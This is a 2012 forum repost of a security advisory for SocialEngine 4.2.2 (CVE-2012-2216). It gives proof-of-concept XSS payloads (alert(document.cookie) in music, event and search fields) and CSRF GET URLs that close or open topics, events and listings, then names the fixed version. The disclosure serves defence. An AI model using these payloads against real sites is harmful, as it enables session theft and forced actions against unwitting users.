The_Arhitect Posted May 26, 2012 Report Posted May 26, 2012 SocialEngine 4.2.2 Multiple VulnerabilitiesSocial Engine 4.2.2 Multiples VulnerabilitiesEarlier versions are also possibly vulnerable.INFORMATIONProduct: Social Engine 4.2.2Remote-Exploit: yesVendor-URL: http://www.socialengine.net/Discovered by: Tiago Natel de Moura aka "i4k"Discovered at: 10/04/2012CVE Notified: 10/04/2012CVE Number: CVE-2012-2216OVERVIEWSocial Engine versions 4.2.2 is vulnerable to XSS and CSRF.INTRODUCTIONSocialEngine is a PHP-based white-label social networking serviceplatform, that provides features similar to a social network on a user'swebsite. Main features include administration of small-to-mid scalesocial networks, some customization abilities, unencrypted code,multilingual capability, and modular plugin/widget compatibility. Thereis a range of templates and add-ons available to extend the basicfeatures already included in the SocialEngine core.VULNERABILITY DESCRIPTION== Persistent XSS in music upload. ==CWE-79: http://cwe.mitre.org/data/definitions/79.htmlThe software does not neutralize or incorrectly neutralizesuser-controllable input before it is placed in output that isused as a web page that is served to other users.Proof Of Concept:POST http://localhost/index.php/music/createPOST data without form-data enctype:title=<script>alert(document.cookie);</script>&description=teste&search=1&auth_view=everyone&MAX_FILE_SIZE=8388608&filename=&fancyuploadfileids=15== Persistent XSS in creating events ==POSThttp://localhost/socialengine/socialengine422_trial/index.php/events/createPOST data without form-data enctype:title=teste XSS 3&description=teste XSS 3&starttime[date]=4/9/2012&starttime[hour]=1&starttime[minute]=0&starttime[ampm]=AM&endtime[date]=4/12/2012&endtime[hour]=1&endtime[minute]=0&endtime[ampm]=AM&host=teste&location=<script>alert(document.cookie);</script>&MAX_FILE_SIZE=8388608&photo=&category_id=0&search=&search=1&approval=&auth_invite=&auth_invite=1&auth_view=everyone&auth_comment=everyone&auth_photo=everyone&submit=== Reflected XSS in search form of events area. ==Direct javascript injected:POST http://localhost/index.php/widget/index/content_id/644format=html&subject=event_1&search=';alert(document.cookie);var a = 'Proof of Concept:- - Go to URL: /index.php/event/$EVENT_ID- - Click on the "Guests"- - Click in "Search guests" form- - Submit: ';alert(document.cookie); var a = 'You will see your PHPSESSID in the alert.== Multiples CSRF vulnerabilities ==CWE-352: http://cwe.mitre.org/data/definitions/352.htmlThe web application does not, or can not, sufficiently verify whethera well-formed, valid, consistent request was intentionally provided bythe user who submitted the request.A CSRF in the plugin "Forum" allows forcing the owner of the event to dosomeactivities such as:Close a topic:GET /index.php/forums/topic/4/example-topic/close/close/1Open a topic:GET /index.php/forums/topic/4/example-topic/close/close/0A CSRF in the plugin "Event" allows forcing the owner of the event to dosomeactivities such as:Close the event:GET /index.php/events/topic/close/close/1/event_id/2/topic_id/2Open the event:GET /index.php/events/topic/close/close/0/event_id/2/topic_id/2"Watch Topic":GET /index.php/events/topic/watch/watch/1/event_id/2/topic_id/2"Stop Watching Topic":GET /index.php/events/topic/watch/watch/0/event_id/2/topic_id/2A CSRF in the plugin "Classifieds" allows forcing the owner of the eventto dosome activities such as:Open the classified listing:GET /index.php/classifieds/close/1/closed/0Close the classified listing:GET /index.php/classifieds/close/1/closed/1VERSIONS AFFECTEDTested with version 4.2.2 but earlier versions are possibly vulnerable.SOLUTIONUpgrade to Social Engine 4.2.4.NOTESThe Common Vulnerabilities and Exposures (CVE) project has assigned thename CVE-2012-2216 to this issue. This is a candidate for inclusion inthe CVE list (http://cve.mitre.org), which standardizes names forsecurity problems.CREDITSTiago Natel de Moura aka "i4k"SEC+ Information Security Company - http://www.secplus.com.br/BugSec Security Team - http://bugsec.googlecode.com/-- Tiago Natel de MouraIT Security Consultant http://www.linkedin.com/in/tiagonatelhttp://www.secplus.com.br/http://github.com/tiago4orionhttp://code.google.com/p/bugsecSursa: SocialEngine 4.2.2 Multiple Vulnerabilities Quote